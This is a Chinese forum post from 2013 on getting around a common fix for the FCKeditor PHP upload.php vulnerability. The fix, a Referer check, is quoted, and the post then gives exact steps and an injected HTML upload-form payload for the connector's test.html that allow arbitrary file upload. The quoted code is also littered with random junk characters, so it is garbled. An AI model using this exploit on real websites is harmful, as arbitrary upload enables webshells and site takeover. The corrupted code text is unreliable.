找回密码
 立即注册
查看: 2664|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php$ `3 F$ }, q, u  x3 }
网上给出的修复方案是
- j+ b' @$ X  a2 \修复方法,删除FCK编辑器用其他的编辑器4 F% o0 N4 n: R5 M$ u% U# e
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件* N! f% l& S$ \' @5 R

. T1 `7 H& h% X  frequire(‘config.php’);* g. v: H* l$ A
require(‘util.php’);! {1 T  L0 X$ F& J& L
的下面添加以下代码—————————–
4 g/ O. Z. ^1 _9 l; R# o//防止外部提交( Y* [. g/ r8 D( P8 t& ^
function outsidepost()5 |1 ?& g& S* P1 L/ D
{3 |* @& h7 X$ a7 M
$servername=$_SERVER['SERVER_NAME'];
1 |; T7 X3 L! f  U- v% n/ X6 e1 @$sub_from=@$_SERVER['HTTP_REFERER'];% R0 v( T% @0 A3 U' R
$sub_len=strlen($servername);- x0 ^: ^) O/ B0 q( r: Z! K# E  j
$checkfrom=substr($sub_from,7,$sub_len);
+ }, p1 [7 @! |+ fif($checkfrom!=$servername){
: j8 u7 [1 t2 Qecho(“you don’t outsidepost!”);
0 k  x8 }' s* Qexit;2 r0 [. n: R. G+ `  q5 f$ w' D
}- s: l* g/ B' e( a
}: r* I/ b  x' ~& K+ x- e$ z, n
outsidepost();
1 E. ~. h" d. z- ?: P防止外部提交,但是没有防止内部提交,
% w% F$ e; _/ z. H. o% {利用方法:
; N. A, I# q5 B: H. z1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html$ ], e; ?7 D) v0 L! U, W
2,在Current Folder 框输入$ Z/ \& ~; y3 Y  m
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>& t" q0 k! \* }3 K: l* i
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
  T/ ~' \; w: P1 ]# g; y/ mPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表